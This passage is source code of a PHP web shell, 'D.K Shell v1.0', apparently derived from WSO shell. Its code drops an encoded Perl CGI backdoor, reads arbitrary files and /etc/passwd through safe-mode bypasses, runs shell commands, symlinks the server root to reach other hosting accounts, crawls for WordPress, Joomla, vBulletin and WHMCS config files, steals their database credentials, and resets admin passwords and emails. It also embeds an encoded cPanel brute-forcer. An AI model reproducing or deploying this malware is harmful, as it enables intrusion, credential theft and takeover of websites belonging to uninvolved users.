JE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRwYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQo=');
904$write = fwrite ($file ,$sa);
905
906chmod($dir."dkcgi/dz.sa" , 0755);
907chmod($dir."dkcgi/cgi.pl" , 0755);
908
909
910
911 $temp='';
912 ob_start();
913 switch($_POST['p1']) {
914 case 1:
915 $temp=@tempnam($test, 'cx');
916 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
917 echo @file_get_contents($temp);
918 unlink($temp);
919 } else
920 echo 'Sorry... Can\'t open file';
921 break;
922 case 2:
923 $files = glob($_POST['p2'].'*');
924 if( is_array($files) )
925 foreach ($files as $filename)
926 echo $filename."\n";
927 break;
928 case 3:
929 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
930 curl_exec($ch);
931 break;
932 case 4:
933 ini_restore("safe_mode");
934 ini_restore("open_basedir");
935 include($_POST['p2']);
936 break;
937 case 5:
938 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
939 $uid = @posix_getpwuid($_POST['p2']);
940 if ($uid)
941 echo join(':',$uid)."\n";
942 }
943 break;
944 }
945 $temp = ob_get_clean();
946 wsoHeader();
947
948 echo '<h1>Safe mode bypass</h1><div class=content>';
949 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
950 if($temp)
951 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
952 echo '</div>';
953 echo "<center><a href=/dkcgi/cgi.pl>cgi script 1</a><br />";
954 echo "<a href=/dkcgi/dz.sa>cgi script 2</a><br /></center>";
955 wsoFooter();
956}
957
958function actionConsole() {
959 if(isset($_POST['ajax'])) {
960 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
961 ob_start();
962 echo "document.cf.cmd.value='';\n";
963 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
964 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
965 if(@chdir($match[1])) {
966 $GLOBALS['cwd'] = @getcwd();
967 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
968 }
969 }
970 echo "document.cf.output.value+='".$temp."';";
971 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
972 $temp = ob_get_clean();
973 echo strlen($temp), "\n", $temp;
974 exit;
975 }
976 wsoHeader();
977 echo "<script>
978if(window.Event) window.captureEvents(Event.KEYDOWN);
979var cmds = new Array('');
980var cur = 0;
981function kp(e) {
982 var n = (window.Event) ? e.which : e.keyCode;
983 if(n == 38) {
984 cur--;
985 if(cur>=0)
986 document.cf.cmd.value = cmds[cur];
987 else
988 cur++;
989 } else if(n == 40) {
990 cur++;
991 if(cur < cmds.length)
992 document.cf.cmd.value = cmds[cur];
993 else
994 cur--;
995 }
996}
997function add(cmd) {
998 cmds.pop();
999 cmds.push(cmd);
1000 cmds.push('');
1001 cur = cmds.length-1;
1002}
1003</script>";
1004 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1005 foreach($GLOBALS['aliases'] as $n => $v) {
1006 if($v == '') {
1007 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1008 continue;
1009 }
1010 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1011 }
1012 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1013 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1014 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1015 if(!empty($_POST['p1'])) {
1016 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1017 }
1018 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1019 echo '</form></div><script>document.cf.cmd.focus();</script>';
1020 wsoFooter();
1021}
1022
1023function actionLogout() {
1024 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1025 die('bye!');
1026}
1027
1028function actionSelfRemove() {
1029
1030 if($_POST['p1'] == 'yes')
1031 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1032 die('Shell has been removed');
1033 else
1034 echo 'unlink error!';
1035 if($_POST['p1'] != 'yes')
1036 wsoHeader();
1037 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1038 wsoFooter();
1039}
1040
1041
1042function actionsymlink() {
1043wsoHeader();
1044$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1045
1046
1047
1048
1049 @mkdir('dk',0777);
1050$IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
1051$IIIIIIIIII1I =@fopen ('dk/.htaccess','w');
1052@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
1053@symlink('/','dk/root');
1054$IIIIIIIIIlIl = basename('_FILE_');
1055
1056$file = @implode(@file("/etc/named.conf"));
1057$rile = @implode(@file("dk/root/etc/named.conf"));
1058if(!$file & !$rile){ echo("# can't ReaD -> [ /etc/named.conf ]<br></br>Try changing the shell chmod values to 0755..!!<br />Try copying the shell to the web directory..!!"); wsoFooter();}
1059if(!$file & $rile){$file = $rile;}
1060preg_match_all("#named/(.*?).db#",$file ,$r);
1061
1062$domains = array_unique($r[1]);
1063
1064
1065
1066echo "<table align=center border=1 width=59% cellpadding=5>
1067<tr><td>Count:</td><td>Domain</td><td>User</td><td>Symlink</td><td>crawl</td></tr>";
1068$redf=0;
1069foreach($domains as $domain){
1070
1071$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1072$redf++;
1073echo "<tr><td>$redf</td><td>$domain</td><td>".$user['name']."</td><td><a href='dk/root/home/".$user['name']."/public_html' target='_blank'>$domain </a></td>";
1074//echo "<td><form onsubmit=\"g('crawl',null,null,this.k.value);return false;\"><input type=submit name=k value='>></tr>";
1075echo '<td><script>p1_=p2_=p3_="";</script><a href=# onclick="g(\'crawl\',null,null,null,\''.$domain.'\')">Crawl </a></td></tr>';
1076}
1077
1078echo "</table>";
1079
1080 wsoFooter();
1081}
1082
1083function actionpasschanger() {
1084
1085if(isset($_POST['p3']))
1086 {
1087 $domainn = $_POST['p3'];
1088$thelinks = explode("}", $domainn);
1089$thelink = $thelinks[0];
1090$isjoomla = $thelinks[1];
1091$domain2 = $thelinks[2];
1092wsoHeader();
1093if ($isjoomla == "wp")
1094{
1095$db = "define('DB_NAME', ";
1096$user = "define('DB_USER', ";
1097$password = "define('DB_PASSWORD', ";
1098$thecontent = file_get_contents($thelink);
1099//
1100$extracted = strpos($thecontent, $db);
1101$extracted = substr($thecontent, $extracted, 50);
1102$extracted = explode("'", $extracted);
1103$db = $extracted[3];
1104//echo $db;
1105$extracted = strpos($thecontent, $user);
1106$extracted = substr($thecontent, $extracted, 50);
1107$extracted = explode("'", $extracted);
1108$user = $extracted[3];
1109//echo $user;
1110$extracted = strpos($thecontent, $password);
1111$extracted = substr($thecontent, $extracted, 50);
1112$extracted = explode("'", $extracted);
1113$password = $extracted[3];
1114//echo $password;
1115
1116
1117mysql_connect("localhost", $user, $password) or die(mysql_error());
1118echo "<br/><center>Connected to MySQL<br /><br />";
1119mysql_select_db($db) or die(mysql_error());
1120echo "Connected to Database<br/>";
1121$result = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE user_login='admin'");
1122$result1 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='1'");
1123$result2 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='2'");
1124$result3 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='3'");
1125
1126
1127$result4 = mysql_query("UPDATE wp_users SET user_email='zigribambou@hotmail.fr' WHERE user_login='admin'");
1128$result5 = mysql_query("UPDATE wp_users SET WHERE user_login='Admin'");
1129
1130$result6 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE user_email='zigribambou@hotmail.fr'");
1131
1132$query25 = mysql_query("SELECT * FROM wp_users WHERE user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1'");
1133
1134
1135
1136$row25 = mysql_fetch_array( $query25 );
1137
1138echo "<br/><br/>The Password is <b>root</b> for the usernames given below ::<br/><br/>";
1139
1140echo "<b><a href=http://www.".$domain2.">".$row25['user_login']."</a></b> <br/>";
1141
1142
1143}
1144elseif ($isjoomla == "jm")
1145{
1146$db = 'var $db =';
1147$user = 'var $user =';
1148$password = 'var $password =';
1149$thecontent = file_get_contents($thelink);
1150//
1151$extracted = strpos($thecontent, $db);
1152$extracted = substr($thecontent, $extracted, 50);
1153$extracted = explode("'", $extracted);
1154$db = $extracted[1];
1155//echo $db;
1156$extracted = strpos($thecontent, $user);
1157$extracted = substr($thecontent, $extracted, 50);
1158$extracted = explode("'", $extracted);
1159$user = $extracted[1];
1160//echo $user;
1161$extracted = strpos($thecontent, $password);
1162$extracted = substr($thecontent, $extracted, 50);
1163$extracted = explode("'", $extracted);
1164$password = $extracted[1];
1165//echo $password;
1166mysql_connect("localhost", $user, $password) or die(mysql_error());
1167echo "<br/><center>Connected to MySQL<br /><br />";
1168mysql_select_db($db) or die(mysql_error());
1169echo "Connected to Database<br/>";
1170
1171// Insert a row of information into the table "example"
1172//mysql_query("INSERT INTO jos_users(name, username) VALUES('dkshell', 'dkshell' ) ") or die(mysql_error());
1173$result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='24'");
1174//$query24 = mysql_query("SELECT * FROM jos_users WHERE gid='24'");
1175
1176
1177$result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='25'");
1178//$query25 = mysql_query("SELECT * FROM jos_users WHERE gid='25'");
1179
1180
1181$result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='26'");
1182//$query26 = mysql_query("SELECT * FROM jos_users WHERE gid='26'");
1183
1184$result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE username='admin'");
1185$result = mysql_query("UPDATE jos_users SET email='zigribambou@hotmail.fr' WHERE username='admin'");
1186$result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE username='Admin'");
1187//$result = mysql_query("UPDATE jos_users SET block='0' WHERE name='dkshell'") or die(mysql_error());
1188//$result = mysql_query("UPDATE jos_users SET usertype='Super Administrator' WHERE name='dkshell'") or die(mysql_error());
1189//$result = mysql_query("UPDATE jos_users SET sendEmail='1' WHERE name='dkshell'") or die(mysql_error());
1190//$result = mysql_query("UPDATE jos_users SET gid='25' WHERE name='dkshell'") or die(mysql_error());
1191//$result = mysql_query("UPDATE jos_users SET registerDate='2012-02-24 17:20:44' WHERE name='dkshell'") or die(mysql_error());
1192//$result = mysql_query("UPDATE jos_users SET lastvisitDate='0000-00-00 00:00:00' WHERE name='dkshell'") or die(mysql_error());
1193//$result = mysql_query("SELECT * FROM jos_users WHERE name='daryl'") or die(mysql_error());
1194
1195// get the first (and hopefully only) entry from the result
1196
1197$query25 = mysql_query("SELECT * FROM jos_users WHERE password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF'");
1198$row25 = mysql_fetch_array( $query25 );
1199
1200echo "<br/><br/>The Password is <b>root</b> for the usernames given below ::<br/><br/>";
1201echo "<b><a href=http://www.".$domain2.">".$row25['username']."</b> <br/></center>";
1202
1203}
1204elseif ($isjoomla == "vb")
1205{
1206$db = "config['Database']['dbname'] = '";
1207$user = "config['MasterServer']['username'] = '";
1208$password = "config['MasterServer']['password'] = '";
1209$thecontent = file_get_contents($thelink);
1210//
1211$extracted = strpos($thecontent, $db);
1212$extracted = substr($thecontent, $extracted, 50);
1213$extracted = explode("'", $extracted);
1214$db = $extracted[5];
1215//echo $db;
1216$extracted = strpos($thecontent, $user);
1217$extracted = substr($thecontent, $extracted, 50);
1218$extracted = explode("'", $extracted);
1219$user = $extracted[5];
1220//echo $user;
1221$extracted = strpos($thecontent, $password);
1222$extracted = substr($thecontent, $extracted, 50);
1223$extracted = explode("'", $extracted);
1224$password = $extracted[5];
1225//echo $password;
1226
1227
1228mysql_connect("localhost", $user, $password) or die(mysql_error());
1229echo "<br/><center>Connected to MySQL<br /><br />";
1230mysql_select_db($db) or die(mysql_error());
1231echo "Connected to Database<br/>";
1232
1233
1234$result = mysql_query("UPDATE user SET password='32c07513a635525a9eca5389e9bb3203' WHERE usertitle='Administrator'");
1235$result = mysql_query("UPDATE user SET salt='<(@]M=wj4Ew/k`*f{o6sK!5:l5Z?xE' WHERE usertitle='Administrator'");
1236$result = mysql_query("UPDATE user SET email='zigribambou@hotmail.fr' WHERE usertitle='Administrator'");
1237$result = mysql_query("UPDATE user SET password='32c07513a635525a9eca5389e9bb3203' WHERE userid='1'");
1238$result = mysql_query("UPDATE user SET salt='<(@]M=wj4Ew/k`*f{o6sK!5:l5Z?xE' WHERE userid='1'");
1239
1240
1241$query25 = mysql_query("SELECT * FROM user WHERE password='32c07513a635525a9eca5389e9bb3203'");
1242
1243
1244
1245$row25 = mysql_fetch_array( $query25 );
1246
1247echo "<br/><br/>The Password is <b>McK7jjBq</b> for the usernames given below ::<br/><br/>";
1248
1249echo "<b><a href=http://www.".$domain2.">".$row25['username']."</a></b> <br/>";
1250
1251}
1252else
1253{
1254}
1255}
1256
1257wsoFooter();
1258
1259
1260
1261
1262
1263}
1264
1265function actioncrawl() {
1266wsoHeader();
1267$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1268$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
1269$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
1270$isjoomla = "0";
1271 if(isset($_POST['p3']))
1272 {
1273 $domainn = $_POST['p3'];
1274
1275 $userr = posix_getpwuid(@fileowner("/etc/valiases/".$domainn));
1276
1277echo "<table align='center' width='40%' class='main' ><tr><td> Results: </td></tr>";
1278
1279$IIIIIIIII1l1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/wp-config.php';
1280$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
1281$IIIIIIIII11l=$IIIIIIIII11I[0];
1282$IIIIIIIII111=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/blog/wp-config.php';
1283$IIIIIIIIlIII=get_headers($IIIIIIIII111);
1284$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
1285$IIIIIIIIlII1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/configuration.php';
1286$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
1287$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
1288$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/joomla/configuration.php';
1289$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
1290$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
1291$IIIIIIIIlI11=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/includes/config.php';
1292$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
1293$IIIIIIIIllIl=$IIIIIIIIllII[0];
1294$IIIIIIIIllI1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/vb/includes/config.php';
1295$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
1296$IIIIIIIIllll=$IIIIIIIIlllI[0];
1297$IIIIIIIIlll1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/forum/includes/config.php';
1298$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
1299$IIIIIIIIll1l=$IIIIIIIIll1I[0];
1300$IIIIIIIIll11=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'public_html/clients/configuration.php';
1301$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
1302$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
1303$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/support/configuration.php';
1304$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
1305$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
1306$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/client/configuration.php';
1307$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
1308$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
1309$IIIIIIIIl11l=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/submitticket.php';
1310$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
1311$IIIIIIII1III=$IIIIIIIIl111[0];
1312$IIIIIIII1IIl=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/client/configuration.php';
1313$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
1314$IIIIIIII1IlI=$IIIIIIII1II1[0];
1315$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
1316$IIIIIIII1I1I=' ';
1317if (strpos($IIIIIIIII11l,'200') == true )
1318{
1319$IIIIIIII1I1I="<td><a href='".$IIIIIIIII1l1."' target='_blank'>".$domainn." [Wordpress]</a></td>";
1320$isjoomla = "wp";
1321$thelink = $IIIIIIIII1l1;
1322$domain2 = $domainn . '/wp-login.php';
1323}
1324elseif (strpos($IIIIIIIIlIIl,'200') == true)
1325{
1326$IIIIIIII1I1I="<td><a href='".$IIIIIIIII111."' target='_blank'>".$domainn." [Wordpress]</a></td>";
1327$isjoomla = "wp";
1328$thelink = $IIIIIIIII111;
1329$domain2 = $domainn . '/blog/wp-login.php';
1330}
1331elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true )
1332{
1333$IIIIIIII1I1I="<td> <a href='".$IIIIIIIIl11l."' target='_blank'>".$domainn." [WHMCS]</a></td>";
1334}
1335elseif (strpos($IIIIIIIIl1lI,'200') == true)
1336{
1337$IIIIIIII1I1I ="<td> <a href='".$IIIIIIIIl1I1."' target='_blank'>".$domainn." [WHMCS]</a></td>";
1338}
1339elseif (strpos($IIIIIIIIl11I,'200') == true)
1340{
1341$IIIIIIII1I1I =" <td><a href='".$IIIIIIIIl1ll."' target='_blank'>".$domainn." [WHMCS]</a></td>";
1342}
1343elseif (strpos($IIIIIIIIlIll,'200') == true)
1344{
1345$IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlII1."' target='_blank'>".$domainn." [Joomla]</a></td>";
1346$isjoomla = "jm";
1347$thelink = $IIIIIIIIlII1;
1348$domain2 = $domainn . '/administrator/';
1349}
1350elseif (strpos($IIIIIIIIlI1l,'200') == true)
1351{
1352$IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlIl1."' target='_blank'>".$domainn." [Joomla]</a></td>";
1353$isjoomla = "jm";
1354$thelink = $IIIIIIIIlIl1;
1355$domain2 = $domainn . '/joomla/administrator/';
1356}
1357elseif (strpos($IIIIIIIIllIl,'200') == true)
1358{
1359$IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlI11."' target='_blank'>".$domainn." [vBulletin]</a></td>";
1360$isjoomla = "vb";
1361$thelink = $IIIIIIIIlI11;
1362$domain2 = $domainn;
1363}
1364elseif (strpos($IIIIIIIIllll,'200') == true)
1365{
1366$IIIIIIII1I1I="<td> <a href='".$IIIIIIIIllI1."' target='_blank'>".$domainn." [vBulletin]</a></td>";
1367$isjoomla = "vb";
1368$thelink = $IIIIIIIIllI1;
1369$domain2 = $domainn;
1370}
1371elseif (strpos($IIIIIIIIll1l,'200') == true)
1372{
1373$IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlll1."' target='_blank'>".$domainn." [vBulletin]</a></td>";
1374$isjoomla = "vb";
1375$thelink = $IIIIIIIIlll1;
1376$domain2 = $domainn;
1377}
1378else
1379{
1380//continue;
1381$IIIIIIII1I1l = $userr ;
1382$IIIIIIII1I1I='<tr><td><a href=/dk/root/home/'.$userr['name'].'/public_html/>'.$domainn.'[Custom Website]</a></td><td></td></tr>';
1383}
1384echo $IIIIIIII1I1I;
1385}
1386
1387echo "</center></table><br></br><br><br>";
1388$saying = $thelink . '}' . $isjoomla . '}' . $domain2;
1389if ($isjoomla == "wp" || $isjoomla == "vb" || $isjoomla == "jm")
1390{
1391 echo '<center><h3><b><script>p1_=p2_=p3_="";</script><a href=# onclick="g(\'passchanger\',null,null,null,\''.$saying.'\')"> [Change Password] </a></b></center></h3>';
1392}
1393
1394wsoFooter();
1395}
1396
1397function actionabout() {
1398wsoHeader();
1399echo '<div class=header> ';
1400
1401 echo "<pre>
1402
1403
1404 D.K Shell v1.0
1405
1406
1407 D.K Shell (c)oded by b47chguru & Lnx Root for ICF
1408
1409 D.K shell is made on the same architecture of WSO shell. D.K shell is a professional web shell..
1410 It has all the features to bust the security..including disabling mod_security , disabling php safe mode,
1411 Symlink,webcrawler, auto-admin password changer for vbulletin,joomla,Wordpress...etc,
1412 perl cgi scipt compatibility and a better backconnection script.For any doubts or queries on D.K shell
1413 mail me at zigribambou@hotmail.fr
1414 Note:The security on the webserver is completely disabled when clicked on the 'safemode' link and the default port for php backconnection is 70
1415
1416 Special Thanks to Archith Kp who helped generously throughout the project..!!
1417
1418
1419
1420
1421 </pre></div>";
1422wsoFooter();
1423}
1424function actionBruteforce() {
1425 wsoHeader();
1426
1427
1428
1429
1430$file = fopen($dir."dkcpanel.php" ,"w+");
1431$sa=base64_decode('PD9waHANCiRjcGFuZWxfcG9ydD0iMjA4MiI7DQokY29ubmVjdF90aW1lb3V0PTU7DQpzZXRfdGltZV9saW1pdCgwKTsNCiRzdWJtaXQ9JF9SRVFVRVNUWydzdWJtaXQnXTsNCiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcz0kX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOw0KJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOw0KJGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7DQokdGFyZ2V0ID0gImxvY2FsaG9zdCI7DQp9DQokY2hhcnNldD0kX1JFUVVFU1RbJ2NoYXJzZXQnXTsNCmlmKCRjaGFyc2V0PT0iIikNCiAkY2hhcnNldD0ibG93ZXJjYXNlIjsNCiRtYXhfbGVuZ3RoPSRfUkVRVUVTVFsnbWF4X2xlbmd0aCddOw0KaWYoJG1heF9sZW5ndGg9PSIiKQ0KICRtYXhfbGVuZ3RoPTEwOw0KJG1pbl9sZW5ndGg9JF9SRVFVRVNUWydtaW5fbGVuZ3RoJ107DQppZigkbWluX2xlbmd0aD09IiIpDQogJG1pbl9sZW5ndGg9MTsNCg0KICRjaGFyc2V0YWxsID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIsICJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiLCAiMCIsICIxIiwgIjIiLCAiMyIsICI0IiwgIjUiLCAiNiIsICI3IiwgIjgiLCAiOSIpOw0KICRjaGFyc2V0bG93ZXIgPSBhcnJheSgiYSIsICJiIiwgImMiLCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIsICJrIiwgImwiLCAibSIsICJuIiwgIm8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAidiIsICJ3IiwgIngiLCAieSIsICJ6Iik7DQogJGNoYXJzZXR1cHBlciA9IGFycmF5KCJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAi